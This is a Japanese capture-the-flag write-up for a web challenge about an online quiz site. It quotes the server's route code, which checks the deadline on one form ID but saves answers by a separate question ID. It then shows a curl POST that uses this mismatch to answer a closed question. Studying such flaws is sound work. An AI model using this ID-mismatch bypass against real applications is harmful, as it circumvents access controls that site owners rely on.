Did you attend online school this year?
Good, because you'll need to register at grading.hsc.tf and get an A on "simple quiz" to find the flag.
Server code is attached.
grading-master.zip
アクセスし、アカウントを登録するとテストを受けられるサイトのようだ。
Formable
site1.png
テストは二つあるが、片方は締め切りを過ぎているようだ。
simple quiz (URL:https://grading.hsc.tf/60c8ba318c156ea0525271b0)
site2.png
another simple quiz (URL:https://grading.hsc.tf/60c8ba318c156e1a895271b1)
site3.png
どうやらこのsimple quizをどうにかして再受験したいらしい。
まずは受験できるテストにCTFCTFと解答を入力し動作を見ると、/60c8ba318c156e1a895271b1にID=60c8ba318c156e75095271af&value=CTFCTFをPOSTしている。
IDはinputのnameであるようだ。
~~~
<div class="mb-3 question">
<label for="">What is the best CTF?</label>
<input type="text" class='active' name="60c8ba318c156e75095271af" value="CTFCTF">
</div>
~~~ここで配布されたソースのapp.jsを見てみる。
~~~
.post(authMW, (req, res) => {
const now = Date.now()
const form = req.user.forms.id(req.params.formID)
if(now > form.deadline) {
res.json({response: "too late"})
} else {
if(req.body.ID) {
const question = req.user.questions.id(req.body.ID)
console.log(question);
question.submission = req.body.value
req.user.save()
} else {
form.submitted = true
req.user.save()
}
res.json({response: "heh"})
}
})
~~~formID経由で締め切りを取得しチェックした後に、IDで問題を選択し解答を保存している。
つまりformIDを現在締め切られていないもの、かつIDは締め切りを過ぎたものにすれば締め切りチェックを回避できる。
締め切りを過ぎた問題のIDは以下のようであった。
<div class="mb-3 question">
<label for="">What is the capital of Africa?</label>
<fieldset>
<div>
<input class="form-check-input" type="radio" name="60c8ba318c156e5afc5271ae" value="Venezuela" disabled >
<label class="form-check-label" for="">Venezuela</label>
</div>
~~~
<div>
<input class="form-check-input" type="radio" name="60c8ba318c156e5afc5271ae" value="Africa is not a country" disabled >
<label class="form-check-label" for="">Africa is not a country</label>
</div>
</fieldset>
</div>これを利用し以下のようなリクエストを送る(cookieは解法には関係ない)。
$ curl -X POST https://grading.hsc.tf/60c8ba318c156e1a895271b1 -d "ID=60c8ba318c156e5afc5271ae&value=Africa is not a country" --cookie "connect.sid=s%3A9hca6KblGft22wdViRS5O09d4le1Tj4J.JAzBnOTmIm0WgfiN4OjHnH3la7xnb%2FaSFXRzMOhSayg"
{"response":"heh"}simple quizにアクセスするとflagが表示されていた。
flag
flag.png
